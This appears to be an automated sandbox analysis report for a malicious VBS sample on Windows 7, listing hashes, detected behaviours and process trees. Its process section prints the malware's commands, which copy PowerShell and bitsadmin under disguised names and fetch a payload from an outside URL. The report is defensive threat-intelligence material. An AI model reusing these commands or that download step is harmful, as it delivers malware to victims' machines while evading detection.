Analysis
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max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
13-08-2024 18:49
Static task
static1
Behavioral task
behavioral1
Sample
944f7974e1bf22df4ba5e26d9c0b045b_JaffaCakes118.vbs
Resource
win7-20240729-en
General
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Target
944f7974e1bf22df4ba5e26d9c0b045b_JaffaCakes118.vbs
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Size
9KB
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MD5
944f7974e1bf22df4ba5e26d9c0b045b
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SHA1
f23a0b2edf74ec6fa18dfd27cfc68606d919192d
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SHA256
8bffb5f01d123e3d6eb01393b78f1b179a70924ba38109f6e808a2635aebfafe
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SHA512
65dd8327c339c58e3e7aa15287d09f028fe16370eedfd3f672069c2e7c36d0cc30bff111f1d91292a570f99e758316892602aa9918695985cfd8d9b7d6e1e317
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SSDEEP
192:xaFYrF+KlavnTOxR7Xqy/xGSGf6bNQJ1L9wzT/jFDdFuF6:PrF+WavnTOr7XfxnGf6bNQJ1L9cLxDn
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 2316 FbaGiusin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FbaGiusin.exe -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 2584 wrote to memory of 2396 2584 WScript.exe 30 PID 2584 wrote to memory of 2396 2584 WScript.exe 30 PID 2584 wrote to memory of 2396 2584 WScript.exe 30 PID 2396 wrote to memory of 2392 2396 cmd.exe 32 PID 2396 wrote to memory of 2392 2396 cmd.exe 32 PID 2396 wrote to memory of 2392 2396 cmd.exe 32 PID 2396 wrote to memory of 2124 2396 cmd.exe 33 PID 2396 wrote to memory of 2124 2396 cmd.exe 33 PID 2396 wrote to memory of 2124 2396 cmd.exe 33 PID 2584 wrote to memory of 2316 2584 WScript.exe 34 PID 2584 wrote to memory of 2316 2584 WScript.exe 34 PID 2584 wrote to memory of 2316 2584 WScript.exe 34 PID 2584 wrote to memory of 2316 2584 WScript.exe 34
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\944f7974e1bf22df4ba5e26d9c0b045b_JaffaCakes118.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aQASz.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\FbaGius*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2396 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aQASz.exe3⤵PID:2392
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\FbaGius*.exe3⤵PID:2124
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C:\ProgramData\FbaGiusin.exe"C:\ProgramData\FbaGiusin.exe" /wrap /transfer skTzVfhZ https://linderosinmobiliaria.com/mobili/00434970174/developer.rtf C:\ProgramData\developer.rtf2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2316
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD50920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51